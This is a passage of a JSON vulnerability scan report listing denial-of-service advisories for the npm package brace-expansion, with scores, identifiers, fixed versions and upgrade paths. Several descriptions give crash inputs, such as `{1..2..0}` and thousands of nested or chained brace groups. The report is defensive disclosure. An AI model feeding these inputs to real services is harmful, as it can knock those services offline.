"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
